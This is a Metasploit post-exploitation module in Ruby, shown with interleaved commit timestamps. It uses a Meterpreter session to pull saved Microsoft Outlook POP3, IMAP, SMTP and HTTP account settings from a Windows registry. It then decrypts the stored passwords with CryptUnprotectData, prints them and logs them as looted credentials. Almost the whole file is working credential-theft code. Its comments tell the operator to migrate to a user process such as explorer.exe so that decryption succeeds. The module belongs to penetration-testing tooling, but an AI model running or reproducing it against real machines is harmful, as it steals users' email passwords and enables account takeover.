2011-07-07 03:04:06 +00:00
|
|
|
# $Id$
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-07-07 03:04:06 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
require 'msf/core/post/windows/priv'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
|
|
|
|
'Description' => %q{ This module extracts and attempts to decrypt saved Microsoft
|
|
|
|
Outlook (versions 2002-2010) passwords from the Windows
|
|
|
|
Registry for POP3/IMAP/SMTP/HTTP accounts.
|
2011-07-27 02:39:49 +00:00
|
|
|
In order for decryption to be successful, this module must be
|
|
|
|
executed with the same privileges as the user which originally
|
|
|
|
encrypted the password.},
|
2011-07-07 03:04:06 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Justin Cacak'],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
|
|
|
|
def prepare_railgun
|
|
|
|
rg = session.railgun
|
|
|
|
if (!rg.get_dll('crypt32'))
|
|
|
|
rg.add_dll('crypt32')
|
|
|
|
end
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
def decrypt_password(data)
|
|
|
|
rg = session.railgun
|
|
|
|
pid = client.sys.process.getpid
|
|
|
|
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
|
|
|
|
|
|
mem = process.memory.allocate(128)
|
|
|
|
process.memory.write(mem, data)
|
|
|
|
|
|
|
|
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
|
|
|
addr = [mem].pack("V")
|
|
|
|
len = [data.length].pack("V")
|
|
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
|
|
|
#print_status("#{ret.inspect}")
|
|
|
|
len, addr = ret["pDataOut"].unpack("V2")
|
|
|
|
else
|
|
|
|
addr = [mem].pack("Q")
|
|
|
|
len = [data.length].pack("Q")
|
|
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
|
|
|
len, addr = ret["pDataOut"].unpack("Q2")
|
|
|
|
end
|
|
|
|
|
|
|
|
return "" if len == 0
|
|
|
|
decrypted_pw = process.memory.read(addr, len)
|
|
|
|
return decrypted_pw
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
# Just a wrapper to avoid copy pasta and long lines
|
|
|
|
def get_valdata(k, name)
|
2011-12-01 20:41:44 +00:00
|
|
|
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
|
|
|
registry_getvaldata("#{@key_base}\\#{k}", name)
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
2011-07-07 03:04:06 +00:00
|
|
|
|
|
|
|
def get_registry
|
|
|
|
#Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
|
|
|
|
outlook_exists = 0
|
|
|
|
saved_accounts = 0
|
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
|
|
|
|
next_account_id = get_valdata("", 'NextAccountID')
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if next_account_id != nil
|
|
|
|
#Microsoft Outlook not found
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status "Microsoft Outlook found in Registry..."
|
|
|
|
outlook_exists = 1
|
2011-12-01 22:24:58 +00:00
|
|
|
registry_enumkeys(@key_base).each do |k|
|
2011-10-23 11:56:13 +00:00
|
|
|
display_name = get_valdata(k, 'Display Name')
|
2011-07-07 03:04:06 +00:00
|
|
|
|
|
|
|
if display_name == nil
|
|
|
|
#Microsoft Outlook found, but no account data saved in this location
|
|
|
|
next
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
#Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
|
|
|
|
saved_accounts = 1
|
|
|
|
got_user_pw = 0
|
2011-10-23 11:56:13 +00:00
|
|
|
accountname = get_valdata(k, 'Account Name')
|
|
|
|
displayname = get_valdata(k, 'Display Name')
|
|
|
|
email = get_valdata(k, 'Email')
|
|
|
|
pop3_server = get_valdata(k, 'POP3 Server')
|
|
|
|
smtp_server = get_valdata(k, 'SMTP Server')
|
|
|
|
http_server_url = get_valdata(k, 'HTTP Server URL')
|
|
|
|
imap_server = get_valdata(k, 'IMAP Server')
|
|
|
|
smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
|
2011-07-07 03:04:06 +00:00
|
|
|
if smtp_use_auth != nil
|
2011-10-23 11:56:13 +00:00
|
|
|
smtp_user = get_valdata(k, 'SMTP User')
|
|
|
|
smtp_password = get_valdata(k, 'SMTP Password')
|
2011-07-07 03:04:06 +00:00
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if pop3_server != nil
|
|
|
|
type = "POP3"
|
|
|
|
elsif http_server_url != nil
|
|
|
|
type = "HTTP"
|
|
|
|
elsif imap_server != nil
|
|
|
|
type = "IMAP"
|
2011-09-07 15:30:08 +00:00
|
|
|
else
|
2011-07-07 03:04:06 +00:00
|
|
|
type = "UNKNOWN"
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
#Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
|
|
|
|
print_status("Account Found:")
|
|
|
|
print_status(" Type: #{type}")
|
|
|
|
print_status(" User Display Name: #{displayname}")
|
|
|
|
print_status(" User E-mail Address: #{email}")
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if type == "POP3"
|
2011-10-23 11:56:13 +00:00
|
|
|
pop3_pw = get_valdata(k, 'POP3 Password')
|
|
|
|
pop3_user = get_valdata(k, 'POP3 User')
|
|
|
|
pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
|
|
|
|
smtp_port = get_valdata(k, 'SMTP Port')
|
2011-07-07 03:04:06 +00:00
|
|
|
|
2011-09-07 15:30:08 +00:00
|
|
|
print_status(" User Name: #{pop3_user}")
|
2011-07-07 03:04:06 +00:00
|
|
|
if pop3_pw == nil
|
|
|
|
print_status(" User Password: <not stored>")
|
|
|
|
else
|
|
|
|
pop3_pw.slice!(0,1)
|
2011-09-07 15:30:08 +00:00
|
|
|
pass = decrypt_password(pop3_pw)
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" User Password: #{pass}")
|
|
|
|
# Prepare data for report_auth_info
|
|
|
|
got_user_pw = 1
|
|
|
|
host = pop3_server
|
|
|
|
user = pop3_user
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if pop3_use_spa != nil #Account for SPA (NTLM auth)
|
|
|
|
print_status(" Secure Password Authentication (SPA): Enabled")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" Incoming Mail Server (POP3): #{pop3_server}")
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
|
2011-07-07 03:04:06 +00:00
|
|
|
if pop3_use_ssl == nil
|
|
|
|
print_status(" POP3 Use SSL: No")
|
|
|
|
else
|
|
|
|
print_status(" POP3 Use SSL: Yes")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
pop3_port = get_valdata(k, 'POP3 Port')
|
2011-07-07 03:04:06 +00:00
|
|
|
if pop3_port == nil
|
|
|
|
print_status(" POP3 Port: 110")
|
|
|
|
portnum = 110
|
|
|
|
else
|
|
|
|
print_status(" POP3 Port: #{pop3_port}")
|
|
|
|
portnum = pop3_port
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if smtp_use_auth == nil # Account for SMTP servers requiring authentication
|
|
|
|
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
|
2011-09-07 15:30:08 +00:00
|
|
|
else
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
|
|
|
|
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
|
|
|
|
smtp_password.slice!(0,1)
|
|
|
|
smtp_decrypted_password = decrypt_password(smtp_password)
|
|
|
|
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
|
|
|
|
end
|
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
|
2011-07-07 03:04:06 +00:00
|
|
|
if smtp_use_ssl == nil
|
|
|
|
print_status(" SMTP Use SSL: No")
|
|
|
|
else
|
|
|
|
print_status(" SMTP Use SSL: Yes")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if smtp_port == nil
|
|
|
|
print_status(" SMTP Port: 25")
|
|
|
|
smtp_port = 25
|
|
|
|
else
|
2011-09-07 15:30:08 +00:00
|
|
|
print_status(" SMTP Port: #{smtp_port}")
|
2011-07-07 03:04:06 +00:00
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
elsif type == "HTTP"
|
2011-10-23 11:56:13 +00:00
|
|
|
http_password = get_valdata(k, 'HTTP Password')
|
|
|
|
http_user = get_valdata(k, 'HTTP User')
|
|
|
|
http_use_spa = get_valdata(k, 'HTTP Use SPA')
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" User Name: #{http_user}")
|
|
|
|
if http_password == nil
|
|
|
|
print_status(" User Password: <not stored>")
|
|
|
|
else
|
|
|
|
http_password.slice!(0,1)
|
|
|
|
pass = decrypt_password(http_password)
|
|
|
|
print_status(" User Password: #{pass}")
|
|
|
|
got_user_pw = 1
|
|
|
|
host = http_server_url
|
|
|
|
user = http_user
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
#Detect 80 or 443 for report_auth_info
|
2011-09-07 15:30:08 +00:00
|
|
|
http_server_url.downcase!
|
|
|
|
if http_server_url.include? "h\x00t\x00t\x00p\x00s"
|
2011-07-07 03:04:06 +00:00
|
|
|
portnum = 443
|
|
|
|
else
|
|
|
|
portnum = 80
|
|
|
|
end
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if http_use_spa != nil #Account for SPA (NTLM auth)
|
|
|
|
print_status(" Secure Password Authentication (SPA): Enabled")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" HTTP Server URL: #{http_server_url}")
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
elsif type == "IMAP"
|
2011-10-23 11:56:13 +00:00
|
|
|
imap_user = get_valdata(k, 'IMAP User')
|
|
|
|
imap_use_spa = get_valdata(k, 'IMAP Use SPA')
|
|
|
|
imap_password = get_valdata(k, 'IMAP Password')
|
|
|
|
smtp_port = get_valdata(k, 'SMTP Port')
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" User Name: #{imap_user}")
|
|
|
|
if imap_password == nil
|
|
|
|
print_status(" User Password: <not stored>")
|
|
|
|
else
|
2011-09-07 15:30:08 +00:00
|
|
|
imap_password.slice!(0,1)
|
2011-07-07 03:04:06 +00:00
|
|
|
pass = decrypt_password(imap_password)
|
|
|
|
print_status(" User Password: #{pass}")
|
|
|
|
got_user_pw = 1
|
|
|
|
host = imap_server
|
2011-09-07 15:30:08 +00:00
|
|
|
user = imap_user
|
2011-07-07 03:04:06 +00:00
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if imap_use_spa != nil #Account for SPA (NTLM auth)
|
|
|
|
print_status(" Secure Password Authentication (SPA): Enabled")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" Incoming Mail Server (IMAP): #{imap_server}")
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
|
2011-07-07 03:04:06 +00:00
|
|
|
if imap_use_ssl == nil
|
|
|
|
print_status(" IMAP Use SSL: No")
|
|
|
|
else
|
|
|
|
print_status(" IMAP Use SSL: Yes")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
imap_port = get_valdata(k, 'IMAP Port')
|
2011-07-07 03:04:06 +00:00
|
|
|
if imap_port == nil
|
|
|
|
print_status(" IMAP Port: 143")
|
|
|
|
portnum = 143
|
|
|
|
else
|
|
|
|
print_status(" IMAP Port: #{imap_port}")
|
|
|
|
portnum = imap_port
|
2011-09-07 15:30:08 +00:00
|
|
|
end
|
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if smtp_use_auth == nil # Account for SMTP servers requiring authentication
|
|
|
|
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
|
2011-09-07 15:30:08 +00:00
|
|
|
else
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
|
|
|
|
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
|
|
|
|
smtp_password.slice!(0,1)
|
|
|
|
smtp_decrypted_password = decrypt_password(smtp_password)
|
2011-09-07 15:30:08 +00:00
|
|
|
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
|
|
|
|
end
|
2011-07-07 03:04:06 +00:00
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
|
2011-07-07 03:04:06 +00:00
|
|
|
if smtp_use_ssl == nil
|
|
|
|
print_status(" SMTP Use SSL: No")
|
|
|
|
else
|
|
|
|
print_status(" SMTP Use SSL: Yes")
|
|
|
|
end
|
|
|
|
|
|
|
|
if smtp_port == nil
|
|
|
|
print_status(" SMTP Port: 25")
|
|
|
|
smtp_port = 25
|
|
|
|
else
|
|
|
|
print_status(" SMTP Port: #{smtp_port}")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if got_user_pw == 1
|
2012-02-01 18:26:35 +00:00
|
|
|
if session.db_record
|
|
|
|
source_id = session.db_record.id
|
|
|
|
else
|
|
|
|
source_id = nil
|
|
|
|
end
|
2011-07-07 03:04:06 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => host,
|
|
|
|
:port => portnum,
|
|
|
|
:sname => type,
|
2012-02-01 18:26:35 +00:00
|
|
|
:source_id => source_id,
|
2011-11-08 03:34:49 +00:00
|
|
|
:source_type => "exploit",
|
2011-07-07 03:04:06 +00:00
|
|
|
:user => user,
|
|
|
|
:pass => pass)
|
|
|
|
#print_status("CHK report_auth_info: host = #{host}, port= #{portnum}, sname= #{type}, user= #{user}, pass= #{pass}")
|
|
|
|
end
|
|
|
|
|
|
|
|
if smtp_use_auth != nil
|
2012-02-01 18:26:35 +00:00
|
|
|
if session.db_record
|
|
|
|
source_id = session.db_record.id
|
|
|
|
else
|
|
|
|
source_id = nil
|
|
|
|
end
|
2011-07-07 03:04:06 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => smtp_server,
|
|
|
|
:port => smtp_port,
|
2012-02-22 05:57:55 +00:00
|
|
|
:sname => "smtp",
|
2012-02-01 18:26:35 +00:00
|
|
|
:source_id => source_id,
|
2011-11-08 03:34:49 +00:00
|
|
|
:source_type => "exploit",
|
2011-07-07 03:04:06 +00:00
|
|
|
:user => smtp_user,
|
|
|
|
:pass => smtp_decrypted_password)
|
|
|
|
#print_status("SMTP report_auth_info: host = #{smtp_server}, port= #{smtp_port}, sname= SMTP, user= #{smtp_user}, pass= #{smtp_decrypted_password}")
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
|
|
|
print_status("")
|
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
end
|
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if outlook_exists == 0
|
|
|
|
print_status("Microsoft Outlook not installed.")
|
|
|
|
elsif saved_accounts == 0
|
|
|
|
print_status("Microsoft Outlook installed however no accounts stored in Registry.")
|
|
|
|
end
|
|
|
|
|
2011-09-07 15:30:08 +00:00
|
|
|
end
|
2011-07-07 03:04:06 +00:00
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
if is_system?
|
|
|
|
print_error("This module is running under #{uid}.")
|
|
|
|
print_error("Automatic decryption will not be possible.")
|
|
|
|
print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
|
|
|
|
else
|
|
|
|
print_status("Searching for Microsoft Outlook in Registry...")
|
|
|
|
prepare_railgun
|
|
|
|
get_registry()
|
|
|
|
end
|
2011-09-07 15:30:08 +00:00
|
|
|
|
2011-07-07 03:04:06 +00:00
|
|
|
print_status("Complete")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|